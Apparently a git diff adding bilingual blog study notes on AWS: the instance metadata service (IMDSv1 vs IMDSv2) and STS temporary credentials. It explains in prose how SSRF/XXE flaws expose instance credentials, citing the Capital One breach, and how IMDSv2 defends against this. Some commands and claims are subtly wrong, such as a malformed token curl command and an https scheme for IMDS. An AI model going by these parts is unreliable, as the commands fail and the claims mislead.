AWS has introduced a new Cloudwatch metric (MetadataNoToken) to track IMDSv1 requests . +- Obviously one needs to use this metric and ensure that no instances are using IMDSv1 before disabling it altogether. + +## IMDS + +Instance Metadata Service (IMDS) +- 实例元数据服务 +- IMDS provides a convenient way to access metadata about a running EC2 instance such as host name, network config, security groups etc. +- IMDS 的位置是基於 APIPA (Automatic Private IP Addressing) 的 169.254.169.254 位置 + - The service runs on a link-local IP address + - link-local IP address is unique to every single instance. https://169.254.169.254/latest/meta-data/ + +- 提供有关实例的信息以及与其关联的各种参数,例如 + - 在启动时指定的用户数据。 + - Instance-Id、AMI、Region 等等狀態。 + +- IMDSv1 将凭证存储在端点中 + - 可以检索这些凭证,然后使用这些凭证通过 AWS CLI 执行操作。 + - 在凭证被渗透的情况下,这可能是毁灭性的。 + +- 因此引入了 IMDSv2 来阻止针对滥用元数据端点的各种攻击。 + - IMDSv2 使用会话不将会话令牌作为信息存储在端点本身中, + - 因此在后续调用中生成令牌后无法检索令牌。 + + + + + + + +One of the most important use-cases for IMDS is to +- allow applications running on EC2 instances to access AWS resources. +- In a world without IMDS + - have to use hard-coded API keys to enable communication between AWS services and resources. +- The metadata service solves this problem with “temporary security credentials”. + - These credentials are rotated on a regular basis and managed by the AWS STS service. + + + +## Security Concerns around IMDSv1 +- The metadata service was designed to be accessible only from within the instance. However, there is no additional access control to prevent unauthorized access from a compromised application running on the EC2 instance itself. +- Application vulnerabilities such as Server Side Request Forgery, XML External Entity Injection etc. may be exploited to gain access to the metadata service. + + +one such example. +- Capital One Data Breach: +- This behavior has been exploited numerous times in the past few years by hackers. +- The attack pattern is to gain access to the metadata service by exploiting a vulnerable app within EC2. +- This in turn exposes the temporary security credentials. +- The credentials make it trivial to access AWS resources that share a trust relationship with the affected EC2 instance. +- The Capital One security breach which affected more than 100 million people in North America, was the most recent example of this exploit. AWS has faced a lot of criticism for not addressing this issue from the security community in general. Finally, they have introduced a successor to the metadata service which uses defense in depth to improve the overall security posture. + + +## IMDSv2 +- The version 2 of the Instance Metadata Service uses session based authentication. +- An app running inside the EC2 instance can start a session by sending an HTTP PUT request to IMDSv2. + + +Obtain Instance host name Using IMDSv2 +- The first command specifies the HTTP verb: `PUT`. An additional header is used to specify the time to live (TTL) value in seconds. Output of the first command is stored in a variable named “TOKEN”. In this case the token would be valid for 6 hours (21600 seconds). The request header is mandatory to obtain a valid session token and 21600 seconds is the maximum TTL value allowed. +- The subsequent requests for metadata must contain the token in the request header. Refer to the screenshot below to understand how you may access the IMDSv2 on your EC2 instances. + +```bash +TOKEN=`curl PUT "https://169.254.169.254/latest/api/token" \ + -X \ + -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` +curl https://169.254.169.254/latest/meta-data/profile \ + -H “X-aws-ec2-metadata-token: $TOKEN” +``` + +![pic](https://miro.medium.com/max/1400/1*HP9-lBZjFqyziuG36fF3sQ.png) + +IMDSv2 Session Flow Diagram +![puc](https://miro.medium.com/max/1400/1*FE61zgAjA4jiaDokqGhriA.png) + + +changes result in a more secure version of the metadata service. +- **PUT Request for session initiation**: + - **Mis-configured open web application firewalls or reverse proxies** may expose the metadata service outside the EC2 instance. + - but these services often do not support `PUT method` which ensure safety of the IMDSv2. + - The session oriented approach involves the `PUT method` and the mandatory request header (X-aws-ec2-metadata-token-ttl-seconds). + - This protects against exploitation using SSRF/XXE vulnerabilities present inside the EC2 instance. +- **X-Forwarded-For header not allowed**: + - An open reverse proxy may allow the PUT request. + - However requests passed through a proxy would contain the “X-Forwarded-For” header. Such requests are rejected by the IMDSv2 and the token is not issued. +- **IP Packet TTL set to “1”**: + - This is a network level security control which ensures that the HTTP response containing the secret token would not travel outside the EC2 instance. + - The TTL field in the IP packet sets a limit on the number of network hops that can be taken by the packet. + - The value is reduced by one on every hop. + - Even if an attacker is able to to bypass all the other protections, this would ensure that the token would not travel outside the EC2 instance and the packet would be dropped as soon as it leaves the EC2 instance. + + + +## IP Packet TTL + +但是在 Kubernetes 的網路設計中 Pod 要訪問 IMDSv2 需要經過多個虛擬網卡轉譯至少需要 hop 2 以上才能到達,所以 hop 上限至少也要 2 以上 +- 這個在 Amazon EKS Managed node group 預設就是採用 hop 2 +- 但是對於 Self-managed node 除非是用 eksctl 就要自己設定 hop 2。 + +1. CLI +2. +```bash +$ aws ec2 describe-instances \ + --instance-id i-0c48d5aac6576a19f \ + | grep HttpPutResponseHopLimit +# "HttpPutResponseHopLimit": 1, + +$ aws ec2 modify-instance-metadata-options \ + --instance-id i-0c48d5aac6576a19f \ + --http-tokens required \ + --http-endpoint enabled \ + --http-put-response-hop-limit 2 +``` + +2. 用 Auto Scaling Group 來建立 Self-managed node + 1. hop limit 可以在 Launch template 內找到設定 Metadata response hot limit 參數 + +## 使用 AWS CLI 为新实例启用 IMDSv2 + +```bash +aws ec2 run-instances \ + --image-id sss \ + --metadata-options "HttpEndpoint=enabled,HttpTokens=required" + + +# 运行以下 AWS CLI 命令以修改实例并启用 IMDSv2: +aws ec2 modify-instance-metadata-options \ + --instance-id zzz \ + --http-tokens required \ + --http-endpoint enabled + + +# After you've created a token, you can reuse it until it expires. In the following example command, which gets the ID of the AMI used to launch the instance, the token that is stored in $TOKEN in the previous example is reused. +[ec2-user ~]$ curl -H "X-aws-ec2-metadata-token: $TOKEN" -v https://169.254.169.254/latest/meta-data/ami-id +``` diff --git a/_posts/01Cloud/01AWS/IAM/2020-07-18-STS.md b/_posts/01Cloud/01AWS/IAM/2020-07-18-STS.md new file mode 100644 index 00000000000..0cb1be6f423 --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/2020-07-18-STS.md @@ -0,0 +1,774 @@ +--- +title: AWS - IdenAccessManage - STS Security Token Service +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage] +toc: true +image: +--- + +- [STS Security Token Service](#sts-security-token-service) + - [Using AWS STS with AWS regions](#using-aws-sts-with-aws-regions) + - [Direct AWS STS API calls](#direct-aws-sts-api-calls) + - [User case !!!](#user-case-) + - [**Identity federation**](#identity-federation) + - [1. **Enterprise identity federation** `Single Sign-On (SSO)`](#1-enterprise-identity-federation-single-sign-on-sso) + - [2. **Web identity federation** `Web Identity Federation`](#2-web-identity-federation-web-identity-federation) + - [**Cross-account access**](#cross-account-access) + - [whether a cross-account request is allowed](#whether-a-cross-account-request-is-allowed) + - [setup cross-account access](#setup-cross-account-access) + - [Recording API requests](#recording-api-requests) + - [Requesting temporary security credentials](#requesting-temporary-security-credentials) + - [AWS STS with SDKs](#aws-sts-with-sdks) + - [AWS STS Query API](#aws-sts-query-api) + - [call the `AssumeRole` action of AWS STS](#call-the-assumerole-action-of-aws-sts) + - [make call](#make-call) + - [call the `AssumeRoleWithSAML` action of AWS STS](#call-the-assumerolewithsaml-action-of-aws-sts) + - [call the `AssumeRoleWithWebIdentity` action of AWS STS](#call-the-assumerolewithwebidentity-action-of-aws-sts) + - [make call](#make-call-1) + +--- + +# STS Security Token Service + +> request temporary, limited-privilege credentials for IAM users or identity federated users + +- Lightweight web service +- a secure token service responsible for generating the temporary short term security credentials for access that account. + + +Advantages of `STS` and `Temporary security credentials` are: +- work almost identically to long-term access key credentials that IAM users use, but: +- do not distribute or embed long-term AWS security credentials with an application. + - Temporary security credentials are not stored with the user + - but generated dynamically and provided to the user when requested +- provide access to AWS resources to users without having to define an AWS identity for them + - (temporary security credentials are the basis for IAM Roles and ID Federation). +- have a limited lifetime, no need to rotate or explicitly revoke when no longer needed. + - short-term. + - can be configured to last from a few minutes to several hours. +- After expire, cannot be reused + - AWS no longer recognizes them or allows any kind of access to API requests made with them. + - the user can request new credentials, as long as the user requesting them still has permission to do so. + + +--- + + +## Using AWS STS with AWS regions + +By default, a global service, +- all AWS STS requests go to a single endpoint at `https://sts.amazonaws.com` + +- All regions are enabled for STS by default but can be disabled + - The region in which temporary credentials are requested must be enabled. + - Credentials will always work globally. + - such as Asia Pacific (Hong Kong), must be manually enabled. + - cannot activate the STS endpoint for a Region that is disabled.  + - Tokens valid in all Regions are longer than tokens valid in Regions that are enabled by default. + - Changing this setting might affect existing systems where you temporarily store tokens. + +--- + +### Direct AWS STS API calls + +1. send AWS STS API calls either to a global endpoint or to one of the Regional endpoints. + - recommends using Regional AWS STS endpoints closer to you instead of the global endpoint + - After activate a Region for use with AWS STS, can direct AWS STS API calls to that Region. + - reduce latency, build in redundancy, increase session token validity and improve the performance of the API calls + + - recommends to provide both the `Region` and `endpoint` when make calls to a Regional endpoint. + - provide the Region alone for manually enabled Regions + - such as Asia Pacific (Hong Kong). + - calls are directed to the STS Regional endpoint + - provide the Region alone for Regions enabled by default + - calls are directed to the global endpoint of https://sts.amazonaws.com. Northern Virginia + + +2. choose to direct calls to an alternative Regional endpoint if you can no longer communicate with the original endpoint. + +3. using one of the various AWS SDKs, then use that SDK's method to select a Region before you make the API call. + +4. manually constructing HTTP API requests + - then must direct the request to the correct endpoint yourself. + + +--- + +## User case !!! + +Common scenarios for STS security token service, temporary credentials, + +1. identity federation, delegation + + 1. Federation (typically AD) : + - Uses SAML 2.0. + - Grants temporary access based on the users AD credentials + - Single sign-on allows users to login to the AWS console without assigning IAM credentials. + - Does not need to be a user in IAM. + 2. Federation with Mobile Apps : + - Use third party web identity provider to login. + - Facebook/Amazon/Google + - or other OpenID providers + +2. Cross Account Access : + - share resources in one account with users in a different account. + - Switch roles within the AWS management console without password + - create a role in one account to allow access and grant permissions to users in a different account. + - Creat role in accountB, link with accountAID, attach resource-based policy with the permissions needed. + - AccountA create user/role with identity-based policy of `sts:AssumeRole` + ```json + "Statement": { + "Effect": "Allow", + "Action": "sts:AssumeRole", + "Resource": "arn:aws:iam::ACCOUNTBID:role/UpdateApp" + } + ``` + +--- + +### **Identity federation** + +Manage user identities in an external system outside of AWS and grant users who sign in from those systems access to perform AWS tasks and access AWS resources +- IAM supports two types of identity federation. + - In both cases, the identities are stored outside of AWS. + - The distinction is where the external system resides + - Enterprise identity federation: in your data center + - Web identity federation: or an external third party on the web + +#### 1. **Enterprise identity federation** `Single Sign-On (SSO)` +- known as the single sign-on (SSO) approach to temporary access +- authenticate users in your organization's network , and then provide those users access to AWS +- adventage: + - without creating new AWS identities or sign in with new user name and password + +1. Custom federation broker + - use organization's authentication system to grant access to AWS resources. + - For example + - Enabling custom identity broker access to the AWS console. +2. Federation using SAML 2.0 + - use organization's authentication system and SAML to grant access to AWS resources. + - AWS STS supports open standards like Security Assertion Markup Language (SAML) 2.0 + - with SAML 2.0, use Microsoft AD FS to leverage Microsoft Active Directory. + - use SAML 2.0 to manage your own solution for federating user identities. + +> `SAML 2.0` +> - standard for certain on premises systems such as Microsoft Active Directory or another AWS hosted directory service. +> - SAML is a way that integrate different identity providers with applications and allow users or identities to be reused. +> - re-use identities, from on-premises systems like Microsoft Active Directory or AWS Directory Service), to assume a role in an AWS account. + + +pic + +#### 2. **Web identity federation** `Web Identity Federation` +- known as the web identity federation approach to temporary access + +> use identity providers such as Google, Amazon, and Facebook and allow them to assume roles inside our AWS accounts and access resources + + +- let users sign in using external third party identity provider + - Amazon, Facebook, Google, + - or any OpenID Connect (OIDC) 2.0 compatible provider + +- exchange the credentials from that provider for temporary permissions to use resources in AWS account. + +- adventage: + - use web identity federation for mobile or web application + - do not need to create custom sign-in code or manage your own user identities + - keep AWS account secure, no need to distribute long-term security credentials, such as IAM user access keys, with application + + +--- + + +### **Cross-account access** + +use a role to **delegate access to resources that are in different AWS accounts** that you own (such as Production and Development). + +- share resources in one account with users in a different account + - allow a principal in one account to access resources in a second account. + - trusted account / requesting principal : the account where the principal exists + - trusting account / requested resource : The account where the resource exists + +- don't need to create new individual IAM users in each account +- users don't have to sign out and signin into another in order to access resources in different AWS accounts. +- use the role from + - the AWS Management Console, + - the AWS CLI: + - `$ aws sts assume-role --role-arn "arn:aws:iam::999999999999:role/UpdateApp" --role-session-name "David-ProdUpdate"` + - and the API + + +![Screen Shot 2020-12-27 at 02.54.21](https://i.imgur.com/f76OnFp.png) + +**To allow cross-account access, 2 policy required** +1. identity-based policy to the principal / trusted account + - attach the policy to the identity that acts the principal in the request. + - specify `the entire account, its IAM users, federated users, IAM roles, or assumed-role sessions`. + - also can specify an `AWS service` as a principal. + - The policy allow the requested access to the resource in the trusting service , do this by + - specifying the ARN of the resource + - or by allowing access to all resources (`*`). + +2. resource-based policy + - attach the policy to the resource been shared. + - The policy must specify the principal of the trusted account that will have access to the resource + - In IAM, you can attach a resource-based policy to an IAM role to allow principals in other accounts to assume that role. + - The role's resource-based policy = role trust policy + - After assuming that role, the allowed principals use the resulting temporary credentials to access resources in your account. + - The access is defined in the role's identity-based permissions policy. + + +#### whether a cross-account request is allowed + +For cross-account requests: +- The identity-based policy in trusted AccountA: must allow AccountA to make a request to the resource in the trusting AccountB +- the resource-based policy in AccountB: must allow the requester in AccountA to access the resource + +When you make a cross-account request +- AWS performs two evaluations. the request in the trusting account and the trusted account. +- The request is allowed only if both evaluations return a decision of Allow. + +![policy_cross-account-eval-simple](https://i.loli.net/2020/12/27/XMq2KEiduCLHAs1.png) + +1. principal in one account makes a cross-account request + - to access a resource in another account + +2. **The requesting principal exists in the trusted account** (AccountA). + - When AWS evaluates this account, it checks the identity-based policy and any policies that can limit an identity-based policy. + +3. **The requested resource exists in the trusting account** (AccountB). + - When AWS evaluates this account, it checks the resource-based policy that is attached to the requested resource and any policies that can limit a resource-based policy. + +4. AWS allows the request only if both account policy evaluations allow the request. + + +#### setup cross-account access + +user in one account is granted permissions by a resource-based policy in a second account. + + +1. Step 1: Create a role +2. Step 2: Grant access to the role +3. Step 3: Test access by switching roles + + + +> example +> - the `Production` account is where live applications are managed. +> - The `Development` account is a sandbox where developers and testers can freely test applications. +> - In each account, application information is stored in Amazon S3 buckets. +> - You manage IAM users in the Development account, two IAM groups: Developers and Testers. +> - Users in both groups have permissions to work in the Development account and access resources there. +> - From time to time, a developer must update the live applications in the Production account. +> - These applications are stored in an Amazon S3 bucket called productionapp. + +> At the end of this tutorial, you have the following: +> - Users in the Development account (the trusted account) that are allowed to assume a specific role in the Production account. +> - A role in the Production account (the trusting account) that is allowed to access a specific Amazon S3 bucket. +> - The productionapp bucket in the Production account. + +Developers can access the bucket by +- use the role in the AWS Management Console to access the productionapp bucket in the Production account. +- using API calls that are authenticated by temporary credentials provided by the role . +- Similar attempts by a Tester to use the role fail. + +This workflow has three basic steps. + +![tutorial-cross-accounts](https://i.loli.net/2020/12/27/9s6qkMr7TWQtUIF.png) + +--- + + +- **Step 1: Create a role** + - use AWS Management Console to establish trust between 2 accounts + - create policy + - create role. + 1. in the Production account, specify permissions policy that the role requires. + - Anyone who is granted permission to use the role will follow this policy. + + ```json + // allows trusted users to update the productionapp bucket + // limit the role's permissions to only read and write access to the productionapp bucket. + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Action": "s3:ListAllMyBuckets", + "Resource": "*" + }, + { + "Effect": "Allow", + "Action": [ + "s3:ListBucket", + "s3:GetBucketLocation" + ], + "Resource": "arn:aws:s3:::productionapp" + }, + { + "Effect": "Allow", + "Action": [ + "s3:GetObject", + "s3:PutObject", + "s3:DeleteObject" + ], + "Resource": "arn:aws:s3:::productionapp/*" + } + ] + } + ``` + + 2. Create a role that defines who can access it and what permissions it grants to users that switch to it. + - in the Production account creating an new IAM role named `UpdateApp` that can be used by the development account + - Roles > Create role > the Another AWS account > Account ID + - ![role](https://i.loli.net/2020/12/27/4ENAXw6mj3Q9vZl.png) + - specify the Development account as a trusted entity. + - set the permissions that will be associated with the role. + 3. obtain the Role ARN for UpdateApp + + +- **Step 2: Grant access to the role** + - modify the developers group to allow them to switch to the UpdateApp role + - IAM console > Groups > Developers > Permissions tab > Inline Policies section > Create Group Policy > Custom Policy + - Add the following policy statement to allow the `AssumeRole` action on the `UpdateApp` role in the Production account. + + ```json + { + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Action": "sts:AssumeRole", + "Resource": "arn:aws:iam::PRODUCTION-ACCOUNT-ID:role/UpdateApp" + } + } + ``` + - if so other group use Power User permissions, + - modify the IAM group policy so that Testers are denied access to the UpdateApp role + - Because Testers have PowerUser access in this scenario + - so must explicitly deny the ability to use the role. + - add policy to the group. + + ```json + { + "Version": "2012-10-17", + "Statement": { + "Effect": "Deny", + "Action": "sts:AssumeRole", + "Resource": "arn:aws:iam::PRODUCTION-ACCOUNT-ID:role/UpdateApp" + } + } + ``` + + +- **Step 3: Test access by switching roles** + - AWS console 2 ways + - need: `Account ID number and Role Name values` + - link from his administrator which points to a pre-defined Switch Role configuration. + - The link is provided to the administrator on the final page of the Create role wizard or on the Role Summary page for a cross-account role. + - link takes David to the Switch Role page with the Account ID and Role name fields already filled in. + - All David needs to do is choose Switch Role and he's done. + - sends the Account ID and Role Name values + - manually type them to switch roles + - ![role](https://i.loli.net/2020/12/27/pQYcIhGultUPqJ2.png) + - `Rolename @ Account ID` + - AWS CLI + + ```bash + # runs the aws sts assume-role command with role ARN + $ aws sts assume-role --role-arn "arn:aws:iam::999999999999:role/UpdateApp" --role-session-name "David-ProdUpdate" + + # get temporary security credentials for that role. + # { + # "Credentials": { + # "SecretAccessKey": "wJI/K7MD/bYEXAMPLEKEY", + # "SessionToken": "AQoDYXdzEGcaEXA...Q==", + # "Expiration": "2014-12-11T23:08:07Z", + # "AccessKeyId": "AKIAIOSFODNN7EXAMPLE" + # } + # } + + # cuts and pastes the output, configures those credentials in environment variables so subsequent AWS CLI commands work using the role's permissions. + $ set AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE + $ set AWS_SECRET_ACCESS_KEY=wJI/K7MD/bYEXAMPLEKEY + $ set AWS_SESSION_TOKEN=AQo...6ikBQ== + + $ aws s3 ls s3://productionapp + ``` + + - AWS API + + +--- + +## Recording API requests + + STS supports AWS CloudTrail +- records AWS calls for AWS account and delivers log files to an S3 bucket. +- If activate AWS STS endpoints in Regions other than the default global endpoint, + - then must also turn on CloudTrail logging in those Regions. + - This is necessary to record any AWS STS API calls that are made in those Regions.  + + +--- + + +## Requesting temporary security credentials + +To request temporary security credentials, you can use AWS Security Token Service (AWS STS) operations in the AWS API +- These include operations to create and provide trusted users with temporary security credentials that can control access to your AWS resources. + +To call the API operations +- use **AWS SDKs** + - The SDKs are available for a variety of programming languages and environments, including `Java, .NET, Python, Ruby, Android, and iOS`. + - The SDKs take care of tasks such as cryptographically signing your requests, retrying requests if necessary, and handling error responses. +- use **AWS STS Query API** +- **command line tools** support the AWS STS commands: + - the AWS Command Line Interface, + - and the AWS Tools for Windows PowerShell. + +> The AWS STS API operations create a new session with temporary security credentials that include an `access key pair (an access key ID and a secret key)` and a `session token` +> - Users/application can use these credentials to access AWS resources. + + +You can create a role session and pass session policies and session tags programmatically using AWS STS API operations. +- The resulting session's permissions are the intersection of the role's identity-based policies and the session policies. +- allows a trusted entity to assume a role by calling the `AssumeRole API operation` of the STS + +--- + +## AWS STS with SDKs +Alternative to using the API, can use AWS SDKs +- which consist of libraries and sample code for various programming languages and platforms (Java, Ruby, .NET, iOS, Android, etc.). +- The SDKs provide a convenient way to create programmatic access to STS. +- For example +- the SDKs take care of cryptographically signing requests, managing errors, and retrying requests automatically. + +There are a couple of ways STS can be used. +Scenario 1: +1. Develop an Identity Broker to communicate with LDAP and AWS STS. +2. Identity Broker always authenticates with LDAP first, then with AWS STS. +3. Application then gets temporary access to AWS resources. + +Scenario 2: +1. Develop an Identity Broker to communicate with LDAP and AWS STS. +2. Identity Broker authenticates with LDAP first, then gets an IAM role associated with the user. +3. Application then authenticates with STS and assumes that IAM role. +4. Application uses that IAM role to interact with the service. + + +--- + + +## AWS STS Query API + + + +With STS you can request a session token using one of the following APIs : +- `AssumeRole` + - only used by IAM users (can be used for MFA). +- `AssumeRoleWithSAML` + - can be used by any user who passes a SAML authentication response that indicates authentication from a known (trusted) identity provider. +- `AssumeRoleWithWebIdentity` + - used by an user passes a web identity token that indicates authentication from a known/trusted identity provider. +- `GetSessionToken` + - can be used by an IAM user or AWS account root user (can be used for MFA). +- `GetFederationToken` + - can be used by an IAM user or AWS account root user. + +> AWS recommends using Cognito for identity federation with Internet identity providers. + +--- + +### call the `AssumeRole` action of AWS STS + +> use the `AssumeRole` operation for `cross-account delegation and federation` through a custom identity broker +> Typically, use `AssumeRole` within your account or for cross-account access. + + +The `AssumeRole` API operation is useful for +- allowing existing IAM users to access AWS resources that they don't already have access to x + - For example, the user might need access to resources in another AWS account. +- temporarily gain privileged access + - for example, to provide multi-factor authentication (MFA). + + +The `AssumeRole` operation returns a set of temporary security credentials that Users/application use these credentials to access AWS resources +- An access key ID +- A secret access key +- A session token. +- Expiration or duration of validity. + + +![AssumeRole](https://i.imgur.com/4UVCYdF.png) + +Federated users authenticate users to their own identity store. +- First, write an identity broker application. +- users try to access AWS services from their local machine +- users will authenticate from identity broker. they are authenticated within their corporate identity store. +- After authentication, identity broker eaches back to AWS STS to gain a token, provisions temporary credentials +- After the identity broker has a token, the end user is redirected to the AWS console or to one of the APIs. +- This process allows you to use single sign-on, SSO. Temporary credentials can be used to sign users directly into the AWS Management Console. + + +--- + +#### make call +You must call this API using existing valid IAM user credentials. When you make this call, you pass the following information: + +``` +- The Amazon Resource Name (ARN) of the role that the app should assume. +- (Optional) Duration + - specifies the duration of the temporary security credentials. + - Use the DurationSeconds parameter to specify the duration of the role session from 900 seconds (15 minutes) up to the maximum session duration setting for the role. + - If you do not pass this parameter, the temporary credentials expire in one hour. + - The DurationSeconds parameter from this API is separate from the SessionDuration HTTP parameter that you use to specify the duration of a console session. + - Use the SessionDuration HTTP parameter in the request to the federation endpoint for a console sign-in token. + +- Role session name + - a string value that you can use to identify the session. + - For security purposes, administrators can view this field in AWS CloudTrail logs to learn who performed an action in AWS. + - Your administrator might require that you specify your IAM user name as the session name when you assume the role + - aws:RoleSessionName + +- (Optional) Inline or managed session policies. + - These policies limit the permissions from the role's identity-based policy that are assigned to the role session. + - The resulting session's permissions are the intersection of the role's identity-based policies and the session policies. + - Session policies cannot be used to grant more permissions than those allowed by the identity-based policy of the role that is being assumed + +- (Optional) Session tags. + - You can assume a role and then use the temporary credentials to make a request + - When you do, the session's principal tags: role's tags and passed session tags + - If you make this call using temporary credentials, the new session also inherits transitive session tags from the calling session. + +- (Optional) MFA information. + - If configured to use multi-factor authentication (MFA), then you include the identifier for an MFA device and the one-time code provided by that device. + +- (Optional) ExternalId value + - that can be used when delegating access to your account to a third party. + - This value helps ensure that only the specified third party can access the role. +``` + +The following example shows a sample request and response using AssumeRole. + +```py +# This example request assumes the demo role for the specified duration with the included session policy, session tags, and external ID. +# The resulting session is named John-session. + +https://sts.amazonaws.com/ +?Version=2011-06-15 +&Action=AssumeRole +&RoleSessionName=John-session +&RoleArn=arn:aws::iam::123456789012:role/demo +&Policy=%7B%22Version%22%3A%222012-10-17%22%2C%22Statement%22%3A%5B%7B%22Sid%22%3A%20%22Stmt1%22%2C%22Effect%22%3A%20%22Allow%22%2C%22Action%22%3A%20%22s3%3A*%22%2C%22Resource%22%3A%20%22*%22%7D%5D%7D +&DurationSeconds=1800 +&Tags.member.1.Key=Project +&Tags.member.1.Value=Pegasus +&Tags.member.2.Key=Cost-Center +&Tags.member.2.Value=12345 +&ExternalId=123ABC +&AUTHPARAMS +# The AUTHPARAMS parameter: a placeholder for your signature. +# A signature is the authentication information that you must include with AWS HTTP API requests. +# We recommend using the AWS SDKs to create API requests, and SDKs will handle request signing for you. +# If create and sign API requests manually, Sign the AWS Requests By yourself + + +# The policy value shown in the preceding example is the URL-encoded version of the following policy: +{"Version":"2012-10-17","Statement":[{"Sid":"Stmt1","Effect":"Allow","Action":"s3:*","Resource":"*"}]} + + +# In addition to the temporary security credentials, the response includes the Amazon Resource Name (ARN) for the federated user and the expiration time of the credentials. + + + + AQoDYXdzEPT//////////wEXAMPLEtc764bNrC9SAPBSM22wDOk4x4HIZ8j4FZTwdQW + LWsKWHGBuFqwAeMicRXmxfpSPfIeoIYRqTflfKD8YUuwthAx7mSEI/qkPpKPi/kMcGd + QrmGdeehM4IC1NtBmUpp2wUE8phUZampKsburEDy0KPkyQDYwT7WZ0wq5VSXDvp75YU + 9HFvlRd8Tx6q6fE8YQcHNVXAkiY9q6d+xo0rKwT38xVqr7ZD0u0iPPkUL64lIZbqBAz + +scqKmlzm8FDrypNC9Yjc8fPOLn9FX9KSYvKTr4rvx3iSIlTJabIQwj2ICCR/oLxBA== + wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY + 2019-07-15T23:28:33.359Z + AKIAIOSFODNN7EXAMPLE + + + arn:aws:sts::123456789012:assumed-role/demo/John + ARO123EXAMPLE123:John + +8 + + +c6104cbe-af31-11e0-8154-cbc7ccf896c7 + + +``` + +> `AssumedRoleUser:ARN` and `AssumedRoleUser:AssumedRoleId`: +> - programmatically reference the temporary credentials +> - not an IAM role or user. + +--- + +### call the `AssumeRoleWithSAML` action of AWS STS + +Returns a set of `temporary security credentials` for users who have been authenticated via a SAML authentication response +- provides a mechanism for tying an enterprise identity store or directory to role-based AWS access without user-specific credentials or configuration. + + +AWS supports identity federation +- makes it easier to manage users by maintaining their identities in a single place. +- support Identity federation with `Security Assertion Markup Language (SAML2.0)` + - open standard used by many identity providers. + - quick to implement federation + - use existing identity management software to manage access to AWS resources. + - No coding required. + +- can use this feature to implement federation more quickly because it enables federated SSO. + - With federated SSO, users can sign in to the AWS Management Console or make programmatic calls to AWS APIs + +- Identity federation uses existing identity management software to manage access to AWS resources. +- makes user administration easier. + - For instance + - if a user leaves your company, simply delete the user’s corporate identity, which then also revokes access to AWS. + - End users also benefit because they only need to remember one user name and password. + +- can use SAML to make configuring federation with AWS straightforward, because system administrators can set it up using identity provider software instead of writing code. + + +In order to use single sign-on for the AWS Management Console, identity provider must initiate a web single sign-on session via SAML 2.0 by using the HTTP-POST binding +- A new sign-on URL greatly simplifies this process. +- In this case, the SAML authentication response and the API federation uses a new `AssumeRoleWithSAML` operation within the code. + + + +![AssumeRoleWithSAML](https://i.loli.net/2020/12/26/RekhJv21TZFwNUr.png) + +SSO federation works within SAML. +- user browses to an internal portal in your network. + +- The internal portal + - handles the SAML trust between your organization and AWS. + - functions as the identity provider (IdP) + - The identity provider + - authenticates the user’s identity against the ID Store. + - After authenticated, the client receives a SAML assertion in the form of authentication response from the IdP. + - user post the SAML assertion to the new AWS sign-in portal. + - sign-in uses the AssumeRoleWithSAML API operation to request temporary security credentials and construct a sign-in URL. +- user’s browser receives the sign-in URL and is automatically redirected to the AWS Management Console. + +- From the user’s perspective, the process happens transparently. The user starts at your organization’s internal portal and ends up at the AWS Management Console without ever having to supply any AWS credentials. + + +--- + +### call the `AssumeRoleWithWebIdentity` action of AWS STS + +> Supported web identity providers: +> - Amazon Cognito, recommended for mobile +> - Amazon, Facebook, Google, +> - or any OpenID Connect-compatible identity provider. +> - regular web applications can use the STS +> - assume-role-with-web-identity API + +> Instead of directly calling AssumeRoleWithWebIdentity, AWS recommend Amazon Cognito and the Amazon Cognito credentials provider with the AWS SDKs for mobile development. + + + +- Calling `AssumeRoleWithWebIdentity` does not require the use of AWS security credentials. + - Web identity federation: great for mobile apps where don’t want to use server-side code, and don’t want to distribute long term credentials. + - Therefore, can distribute an application (like mobile devices) that requests temporary security credentials without including long-term AWS credentials in the application. + - also don't need to deploy server-based proxy services that use long-term AWS credentials. + - Instead, the identity of the caller is validated by using a token from the web identity provider. + +- This operation is useful for creating mobile / client-based web applications that require access to AWS. + +- an unsigned call + - meaning that the app does not need to have access to any AWS security credentials to make the call + - users do not need their own AWS or IAM identities + +- Returns temporary security credentials for federated users who have been authenticated in mobile/web application with a web identity provider. + - The temporary security credentials returned by this API + - an access key ID, a secret access key, and a security token + - Applications can use these temporary security credentials to sign calls to AWS service API operations. + + + +![AssumeRoleWithWebIdentity](https://i.loli.net/2020/12/26/QRqw8VD9YfIme3a.png) + +use case for web identity federation. +- user logs in from a mobile phone. + - the login request then goes to Amazon to authenticate the user ID. +- After authenticated, user receives the authorization from the Web Identity Federation to return a token. +- the user can now to log in to AWS with the token to the AWS services they can access. + - By default, the credentials can be used for one hour. +- If the role’s access policy uses variables that reference the application ID and the user ID, + - the temporary security credentials are scoped to that end user + - will prevent him or her from accessing objects owned by other users. + +--- + + +#### make call + +make this call, you pass the following information: + +``` +- The Amazon Resource Name (ARN) of the role that the app should assume. + - If your app supports multiple ways for users to sign in, you must define multiple roles, one per identity provider. + - The call to AssumeRoleWithWebIdentity should include the ARN of the role that is specific to the provider through which the user signed in. + +- The token that the app gets from the IdP after the app authenticates the user. + +- You can configure your IdP to pass attributes into your token as session tags. + +- (Optional) Duration + - specifies the duration of the temporary security credentials. + - Use the DurationSeconds parameter to specify the duration of the role session from 900 seconds (15 minutes) up to the maximum session duration setting for the role. + - If you do not pass this parameter, the temporary credentials expire in one hour. + - The DurationSeconds parameter from this API is separate from the SessionDuration HTTP parameter that you use to specify the duration of a console session. + - Use the SessionDuration HTTP parameter in the request to the federation endpoint for a console sign-in token. + +- Role session name + - a string value to identify the session. + - For security purposes, administrators can view this field in AWS CloudTrail logs to learn who performed an action in AWS. Your administrator might require that you provide a specific value for the session name when you assume the role. + +- (Optional) Inline or managed session policies. + - These policies limit the permissions from the role's identity-based policy that are assigned to the role session. + - The resulting session's permissions are the intersection of the role's identity-based policies and the session policies. + - Session policies cannot be used to grant more permissions than those allowed by the identity-based policy of the role that is being assumed. + +``` + +> A call to AssumeRoleWithWebIdentity is not signed (encrypted). +> should only include optional session policies if the request is transmitted through a trusted intermediary. +> In this case, someone could alter the policy to remove the restrictions. + + +When you call AssumeRoleWithWebIdentity, AWS verifies the 